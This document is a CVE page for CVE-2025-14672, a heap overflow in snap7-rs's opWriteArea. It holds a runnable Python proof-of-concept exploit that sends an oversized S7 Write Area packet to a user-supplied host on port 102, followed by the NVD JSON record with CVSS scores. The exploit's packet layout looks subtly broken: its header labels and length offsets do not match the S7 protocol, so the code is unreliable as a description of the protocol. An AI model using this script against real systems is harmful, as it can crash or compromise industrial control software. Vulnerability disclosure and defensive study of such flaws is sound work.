CVE-2025-14672

// CVE-2025-14672 PoC - snap7-rs heap buffer overflow in TSnap7MicroClient::opWriteArea // Target: gmg137/snap7-rs <= 1.142.1 // Author: Security Researcher import socket import struct import sys def create_exploit_packet(): """Craft malicious S7 packet to trigger heap buffer overflow""" # S7 Protocol header header = bytearray([ 0x03, 0x00, 0x00, 0x00, # ROSCTR: Job 0x00, 0x00, 0x00, 0x00, # Redundancy ID 0x00, 0x00, 0x00, 0x00, # PDU reference 0x00, 0x00, 0x00, 0x00, # Parameters length 0x00, 0x00, 0x00, 0x00 # Data length ]) # Function: Write Area (0x05) function_code = 0x05 # Malicious parameters causing overflow # Area: 0x84 (S7 Area DB) # DB number: 1 # Start address: 0 # Amount: large value to overflow params = bytearray([ function_code, 0x84, # Area type 0x00, 0x01, # DB number 0x00, 0x00, 0x00, # Start address 0xFF, 0xFF, 0xFF, 0xFF # Amount - oversized for overflow ]) # Malicious data payload - exceeds allocated buffer overflow_data = b'A' * 65536 # Large payload to trigger overflow packet = header + params + overflow_data # Fix lengths struct.pack_into('>H', packet, 10, len(params)) struct.pack_into('>H', packet, 12, len(overflow_data)) return packet def exploit(target_ip, target_port=102): """Send exploit packet to target""" print(f'[*] Target: {target_ip}:{target_port}') print(f'[*] Crafting exploit for CVE-2025-14672...') try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) packet = create_exploit_packet() print(f'[*] Sending malicious packet ({len(packet)} bytes)...') sock.send(packet) response = sock.recv(1024) print(f'[*] Received response: {response.hex()}') print('[+] Exploit sent successfully') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip>') sys.exit(1) exploit(sys.argv[1])

{"cve": {"id": "CVE-2025-14672", "sourceIdentifier": "[email protected]", "published": "2025-12-14T17:15:39.980", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in gmg137 snap7-rs up to 1.142.1. This impacts the function TSnap7MicroClient::opWriteArea of the file s7_micro_client.cpp. Executing a manipulation can lead to heap-based buffer overflow. It is possible to launch the attack remotely. The exploit has been published and may be used."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "baseScore": 7.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "NONE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "HIGH", "exploitabilityScore": 10.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}, {"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gmg137:snap7-rs:*:*:*:*:*:*:*:*", "versionEndIncluding": "1.142.1", "matchCriteriaId": "E751AF27-E621-4655-BE0F-5FEDB76486EB"}]}]}], "references": [{"url": "https://gitee.com/gmg137/snap7-rs/", "source": "[email protected]"}, {"url": "https://gitee.com/gmg137/snap7-rs/issues/ID2H8E", "source": "[email protected]", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"]}, {"url": "https://vuldb.com/?ctiid.336401", "source": "[email protected]", "tags": ["Permissions Required", "VDB Entry"]}, {"url": "https://vuldb.com/?id.336401", "source": "[email protected]", "tags": ["Third Party Advisory", "VDB Entry"]}]}}